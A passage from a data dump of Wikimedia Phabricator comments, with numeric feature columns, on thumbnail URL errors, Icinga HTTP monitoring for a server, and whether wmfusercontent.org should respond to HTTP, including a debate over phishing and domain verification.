which are not correct, instead of the correct, shorter:

[[https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29%2C_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-thumbnail.jpg |`https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Kitagawa_Utamaro_-_Toji_san_bijin_%28Three_Beauties_of_the_Present_Day%29From_Bijin-ga_%28Pictures_of_Beautiful_Women%29%2C_published_by_Tsutaya_Juzaburo_-_Google_Art_Project.jpg/200px-thumbnail.jpg`]]. 

We should return a 404 in that case. 

Why we get lots of this?, I assume because 3rd party application do not use properly our APIs and link to custom made URLs.",,,1444397793,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,2.0,5.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,20.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,10.0,2.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.0,9.0,0.0,1.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,4.0,3.11,0.64,"We have a particular case that happens a lot, for files with long names like [[  URL | this ]], we get requests in the form:  

[[ URL |  CODE ]]
which are not correct, instead of the correct, shorter:

[[URL |CODE]]. 

We should return a 404 in that case. 

Why we get lots of this?, I assume because 3rd party application do not use properly our APIs and link to custom made URLs."
514011,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",@tgr yes this problem is at the varnish level.,,,1440489557,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.5,1.0,SCREEN_NAME yes this problem is at the varnish level.
513950,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404",[[ https://github.com/wikimedia/mediawiki/blob/master/thumb.php | `thumb.php` ]] does not ever return 501 as far as I can see. I would expect a truncated URL to be caught by [[ https://github.com/wikimedia/mediawiki/blob/a2d6ecc4539e60501803155990ec36575bdb4332/thumb.php#L256 | the parameter check ]] which returns a 400. Does this error come from Varnish somehow? It does not seem sensible to reply with 501 to a GET request.,,,1440471368,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,6.0,5.0,2.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,11.0,3.0,2.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,3.246153846153846,0.6923076923076923,[[ URL | CODE ]] does not ever return 501 as far as I can see. I would expect a truncated URL to be caught by [[ URL | the parameter check ]] which returns a 400. Does this error come from Varnish somehow? It does not seem sensible to reply with 501 to a GET request.
494843,"upload.wikimedia.org returns HTTP status code 503 for truncated urls, not 404","The main issue here, in my opinion, is the log noise this creates, then; associating project.",,,1437570152,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-xpv4qxsvw2j4iqlgzxwf,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,"The main issue here, in my opinion, is the log noise this creates, then; associating project."
104948,monitor HTTP on bromine.eqiad.wmnet,"add HTTP monitoring for bromine (Icinga)

https://wikitech.wikimedia.org/wiki/Bromine
https://icinga.wikimedia.org/cgi-bin/icinga/status.cgi?host=bromine&nostatusheader",Low,25.0,1436249770,1436551955.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-h5tv42suevhftbfydmx6,task_description,resolved,True,c3,3,True,True,True,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.6666666666666665,0.9166666666666666,"add HTTP monitoring for bromine (Icinga)

URL
URL"
490136,monitor HTTP on bromine.eqiad.wmnet,"resolved (because it already checks the Apache per se) or more checks, one for each virtual host.",,,1436544734,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.857142857142857,0.9523809523809523,"resolved (because it already checks the Apache per se) or more checks, one for each virtual host."
490133,monitor HTTP on bromine.eqiad.wmnet,"this has been added:

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=bromine&service=Static+Bugzilla+HTTP",,,1436544671,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,"this has been added:

URL"
489463,monitor HTTP on bromine.eqiad.wmnet,Should we add a separate check for each virtual host in their respective role? I tend to say yes because that makes moving roles around flexible and every service has their own check. On the other hand you might say that it's overkill to monitor separate virtual hosts when they are on the same webserver instance and we should not add an infinite number of checks to Icinga for performance reasons.,,,1436461964,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,3.0,0.0,0.0,0.0,1.0,13.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,5.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,5.0,4.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,11.0,16.0,1.0,1.0,0.0,0.0,11.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.386666666666667,0.8133333333333334,Should we add a separate check for each virtual host in their respective role? I tend to say yes because that makes moving roles around flexible and every service has their own check. On the other hand you might say that it's overkill to monitor separate virtual hosts when they are on the same webserver instance and we should not add an infinite number of checks to Icinga for performance reasons.
489458,monitor HTTP on bromine.eqiad.wmnet,"Change 223364 merged by Dzahn:
static bugzilla: add http monitoring

[[https://gerrit.wikimedia.org/r/223364]]",,,1436461847,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.9473684210526314,0.8421052631578947,"Change 223364 merged by Dzahn:
static bugzilla: add http monitoring

[[GERRIT_URL]]"
489093,monitor HTTP on bromine.eqiad.wmnet,">>! In T104948#1437383, @Matanya wrote:
> do we need to monitor http or https is enough? 

only http when talking to bromine since https ends at misc-web / nginx",,,1436407251,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.736842105263158,0.9473684210526315,"QUOTE
QUOTE

only http when talking to bromine since https ends at misc-web / nginx"
488576,monitor HTTP on bromine.eqiad.wmnet,do we need to monitor http or https is enough? ,,,1436358288,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,do we need to monitor http or https is enough? 
488209,monitor HTTP on bromine.eqiad.wmnet,"Change 223364 had a related patch set uploaded (by John F. Lewis):
static bugzilla: add https check

[[https://gerrit.wikimedia.org/r/223364]]
",,,1436293284,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h5tv42suevhftbfydmx6,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.607142857142857,0.8928571428571429,"Change 223364 had a related patch set uploaded (by John F. Lewis):
static bugzilla: add https check

[[GERRIT_URL]]
"
104735,(www.)wmfusercontent.org should respond to HTTP,"This domain doesn't currently have any HTTP response. Let's either redirect it to www.wikimedia.org, or at least have it respond with the default Apache doc root that indicates it points to a Wikimedia Foundation server.",Low,25.0,1435961599,1468172449.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-dpu5hmqvprhycqlkdzrk,False,PHID-TASK-bdvc4fmje2hpcwdo3226,task_description,resolved,True,c3,3,True,False,False,0,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,10.0,10.0,12.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,4.65,0.875,"This domain doesn't currently have any HTTP response. Let's either redirect it to www.wikimedia.org, or at least have it respond with the default Apache doc root that indicates it points to a Wikimedia Foundation server."
692217,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#2449250, @Bawolff wrote:
>>>! In T104735#2448220, @Mike_Peel wrote:
>> Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:
> 
> To be clear, i did not fix, i just noticed it was fixed.

OK - thanks to whoever fixed it (I can't spot who that was from this conversation)!

>> Unhandled Exception (""Exception"")
>> This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.
>> 
>> That's a minor issue, but it would be good to fix it if possible
> 
> Arguably thats a reasonable error message. Its saying you should go to the other domain.

It's saying that there was a cookie error with accessing this domain - which is different from saying that you should just access the other domain. We can be more transparent here (by just redirecting to the other domain), but this is definitely an improvement on what happened before!",,,1468263773,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,1.0,7.0,9.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,2.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,9.0,2.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,15.0,2.0,1.0,9.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,0.0,5.0,9.0,8.0,0.0,0.0,0.0,5.0,0.0,4.0,2.0,0.0,4.0,1.0,0.0,0.0,3.826530612244898,0.6122448979591837,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK - thanks to whoever fixed it (I can't spot who that was from this conversation)!

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's saying that there was a cookie error with accessing this domain - which is different from saying that you should just access the other domain. We can be more transparent here (by just redirecting to the other domain), but this is definitely an improvement on what happened before!"
692211,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#2448220, @Mike_Peel wrote:
> Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:

To be clear, i did not fix, i just noticed it was fixed.


> 
> Unhandled Exception (""Exception"")
> This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.
> 
> That's a minor issue, but it would be good to fix it if possible

Arguably thats a reasonable error message. Its saying you should go to the other domain.

",,,1468263599,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,4.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,4.0,8.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.34,0.68,"QUOTE
QUOTE

To be clear, i did not fix, i just noticed it was fixed.


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Arguably thats a reasonable error message. Its saying you should go to the other domain.

"
692087,(www.)wmfusercontent.org should respond to HTTP,"Thanks @Bawolff! wmfusercontent.org now works as expected. However, accessing https://phab.wmfusercontent.org/ gives the error message:

Unhandled Exception (""Exception"")
This Phabricator install is configured as ""https://phabricator.wikimedia.org"", but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.

That's a minor issue, but it would be good to fix it if possible.",,,1468256389,,PHID-USER-b54igy3ozftikuepd4t5,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,53,True,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,13.0,1.0,3.0,10.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,3.0,9.0,6.0,0.0,5.0,0.0,3.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,1.0,4.545454545454546,0.6868686868686869,"ThanksSCREEN_NAME! wmfusercontent.org now works as expected. However, accessing URL gives the error message:

Unhandled Exception (""Exception"")
This Phabricator install is configured as ""URL but you are using the domain name ""phab.wmfusercontent.org"" to access a page which is trying to set a cookie. Access Phabricator on the configured primary domain or a configured alternate domain. Phabricator will not set cookies on other domains for security reasons.

That's a minor issue, but it would be good to fix it if possible."
691601,(www.)wmfusercontent.org should respond to HTTP,both http://phab.wmfusercontent.org and http://wmfusercontent.org respond with 301 Moved Permanently. Closing as fixed.,,,1468172449,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.214285714285714,0.8571428571428571,both URL and URL respond with 301 Moved Permanently. Closing as fixed.
527183,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639430, @Platonides wrote:
>>>! In T104735#1639062, @BBlack wrote:
>> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.
> 
> Not if the contents are “This is a legitimate domain owned by the WMF, as you can verify checking that it appears at https://wikitech.wikimedia.org/wiki/WMF_domains_you_didn't_know_about_but_are_legitimate” which is precisely how I would fill such domain. (And yes, we have wikimedians nit-picking enough that will check that it is ineedd protected and will verify _who_ last edited it)

And what percentage of users are ever going to go there, or click that link?  Why would they ever even know or care?  Their browser says everything's fine by default, and guess what, it is.  We're talking about serving the special interest of a paranoid minority who aren't even being paranoid in the right direction.  And we weren't really talking about putting a message there initially, but just sending it to a ""domain not served here"" page, like https://www.gstatic.com/ does (which is a the equivalent situation for google.com).  You *can* today navigate to https://phab.wmfusercontent.org/ and get better than that, and that's the only hostname that exists there.  The other hostnames discussed here do not exist for a developer tool or extension to even inform you of.

> Those domains that hide behind a dns error are red flags for phishing, scam, etc. Should our users be trusting subdomains like wmfuserscontent.org or wikimedia.mtk4988.com just because ""something loaded content from there""?
> Actually, it wouldn't be hard to prepare a social engineering attack in a wiki js with one of those...

They're not ""hiding behind a DNS error"".  The DNS error is legitimate, and it's the user's fault in this case.  The user has typed a non-existent hostname into an address bar, which they've invented based on guesswork and hope, and it didn't work.

If you're going to go through all that trouble, then do something more-legitimate like check the whois record for the domain that concerns you to see that it's registered to the Foundation, and/or navigate to phab.wmfusercontent.org and click the HTTPS icon in the top left to see that it has an Org Validation cert with our name on it.

{F2604514}",,,1442271609,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0.25,0.5,0.0,0.0,1.5,3.75,0.75,0.0,0.0,0.25,0.75,2.0,0.0,0.25,0.0,0.75,0.0,5.75,9.0,0.5,1.5,0.0,0.0,0.0,0.75,0.25,0.0,0.25,0.25,0.25,0.0,5.25,1.75,2.0,0.25,1.25,0.0,0.5,0.25,0.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.5,0.75,10.25,0.5,0.75,0.75,0.75,0.0,0.5,0.0,0.25,1.5,0.0,0.5,1.25,0.25,0.0,0.0,0.75,0.25,6.0,1.75,7.25,1.25,3.75,8.5,0.0,0.0,0.0,0.0,4.0,0.25,0.0,0.0,5.0,9.0,3.75,0.5,1.0,0.0,5.0,0.0,2.0,2.25,0.0,2.0,0.5,0.0,0.25,3.787982456140351,0.7516666666666667,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

And what percentage of users are ever going to go there, or click that link?  Why would they ever even know or care?  Their browser says everything's fine by default, and guess what, it is.  We're talking about serving the special interest of a paranoid minority who aren't even being paranoid in the right direction.  And we weren't really talking about putting a message there initially, but just sending it to a ""domain not served here"" page, like URL does (which is a the equivalent situation for google.com).  You *can* today navigate to URL and get better than that, and that's the only hostname that exists there.  The other hostnames discussed here do not exist for a developer tool or extension to even inform you of.

QUOTE
QUOTE

They're not ""hiding behind a DNS error"".  The DNS error is legitimate, and it's the user's fault in this case.  The user has typed a non-existent hostname into an address bar, which they've invented based on guesswork and hope, and it didn't work.

If you're going to go through all that trouble, then do something more-legitimate like check the whois record for the domain that concerns you to see that it's registered to the Foundation, and/or navigate to phab.wmfusercontent.org and click the HTTPS icon in the top left to see that it has an Org Validation cert with our name on it.

{F2604514}"
527137,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1639062, @BBlack wrote:
> But now we're off in the territory of human comfort levels, not software.  It's still meaningless for any real verification to populate non-existent related hostnames just for people to look at them and feel re-assured by something that has zero re-assurance value in the real world.

Not if the contents are “This is a legitimate domain owned by the WMF, as you can verify checking that it appears at https://wikitech.wikimedia.org/wiki/WMF_domains_you_didn't_know_about_but_are_legitimate” which is precisely how I would fill such domain. (And yes, we have wikimedians nit-picking enough that will check that it is ineedd protected and will verify _who_ last edited it)


Those domains that hide behind a dns error are red flags for phishing, scam, etc. Should our users be trusting subdomains like wmfuserscontent.org or wikimedia.mtk4988.com just because ""something loaded content from there""?
Actually, it wouldn't be hard to prepare a social engineering attack in a wiki js with one of those...
",,,1442268548,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,10,True,0.0,1.0,0.0,0.5,1.5,3.5,2.0,1.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,2.0,1.0,5.5,10.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,2.5,0.0,4.5,1.0,2.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,1.0,13.5,2.0,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,4.0,4.5,6.5,3.0,2.0,7.0,0.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,5.5,10.0,2.0,1.0,1.5,0.0,5.5,0.0,3.5,3.0,0.0,1.5,0.0,0.0,2.5,4.090909090909091,0.8484848484848485,"QUOTE
QUOTE

Not if the contents are “This is a legitimate domain owned by the WMF, as you can verify checking that it appears at URL which is precisely how I would fill such domain. (And yes, we have wikimedians nit-picking enough that will check that it is ineedd protected and will verify _who_ last edited it)


Those domains that hide behind a dns error are red flags for phishing, scam, etc. Should our users be trusting subdomains like wmfuserscontent.org or wikimedia.mtk4988.com just because ""something loaded content from there""?
Actually, it wouldn't be hard to prepare a social engineering attack in a wiki js with one of those...
"
